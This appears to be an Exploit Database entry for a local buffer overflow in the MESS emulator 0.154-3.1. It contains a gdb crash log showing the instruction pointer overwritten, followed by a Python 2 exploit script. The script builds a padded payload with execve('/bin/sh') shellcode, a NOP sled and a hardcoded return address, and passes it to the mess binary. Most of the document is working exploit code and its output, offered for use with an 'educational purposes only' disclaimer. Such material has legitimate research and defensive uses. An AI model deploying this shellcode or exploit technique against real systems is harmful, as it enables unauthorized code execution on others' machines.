Mess Emulator 0.154-3.1 - Local Buffer Overflow

EDB-ID:
39673

CVE:
N/A

EDB Verified: ×

Author:
JUAN SACCO

Type:
LOCAL

Exploit: / {}

Platform:
LINUX

Date:
2016-04-07

Vulnerable App:

```
# Exploit Author: Juan Sacco - http://www.exploitpack.com -
jsacco@exploitpack.com
# Program affected: Multi Emulator Super System (MESS)
# Version: 0.154-3.1
#
# Tested and developed under:  Kali Linux 2.0 x86 - https://www.kali.org
#
# Program description: MESS is an emulator for various consoles and
computing systems, sharing a
# lot of codebase with the MAME project.
# Kali Linux 2.0 package: pool/non-free/m/mame/mess_0.154-3.1_i386.deb
# MD5sum: ae8650a6de842e6792ba83785ac0dbef
# Website: http://mamedev.org/
#
# gdb$ run -gamma $(python -c 'print "\x41"*4080')
# Starting program: /usr/games/mess -gamma $(python -c 'print "\x41"*4080')
# [Thread debugging using libthread_db enabled]
# Using host libthread_db library
"/lib/i386-linux-gnu/i686/cmov/libthread_db.so.1".
#
# Program received signal SIGSEGV, Segmentation fault.
#
#
-------------------------------------------------------------------------
[regs]
#
#  EAX: 0x00000000  EBX: 0x72203B22  ECX: 0x00001024  EDX: 0xBFFFE094  o d
I t S z a p c
#  ESI: 0x00001024  EDI: 0xBFFFE095  EBP: 0x00001024  ESP: 0xBFFFD038  EIP:
0x41414141
#  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
#
#
-------------------------------------------------------------------------
[code]
#
# => 0x9684539: mov    esi,DWORD PTR [ebx+0x48]
#   0x968453c:  lea    edi,[ebp+esi*1+0x0]
#   0x9684540:  push   edi
#   0x9684541:  push   ebx
#   0x9684542:  call   0x96843b0
#   0x9684547:  add    esp,0x10
#   0x968454a:  test   al,al
#   0x968454c:  je     0x96845ad
#
#
-------------------------------------------------------------------------
-----
#
# 0x41414141 in ?? ()
#
# gdb$ backtrace
#
# #1  0x41414141 in ?? ()

import os,subprocess

def run():
  try:
    print "# Mess Emulator Buffer Overflow by Juan Sacco"
    print "# This exploit is for educational purposes only"
    # JUNK + SHELLCODE + NOPS + EIP

    junk = "\x41"*4084
    shellcode =
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
    nops = "\x90"*12
```

```
    eip = "\xd1\xf3\xff\xbf"
    subprocess.call(["mess",' ', junk + shellcode + nops + eip])

  except OSError as e:
    if e.errno == os.errno.ENOENT:
        print "Sorry, Mess emulator not found!"
    else:
        print "Error executing exploit"
    raise

def howtousage():
  print "Snap! Something went wrong"
  sys.exit(-1)

if __name__ == '__main__':
  try:
    print "Exploit Mess 0.154-3.1 Local Overflow Exploit"
    print "Author: Juan Sacco"
  except IndexError:
    howtousage()
run()
```

Tags:

Advisory/Source: Link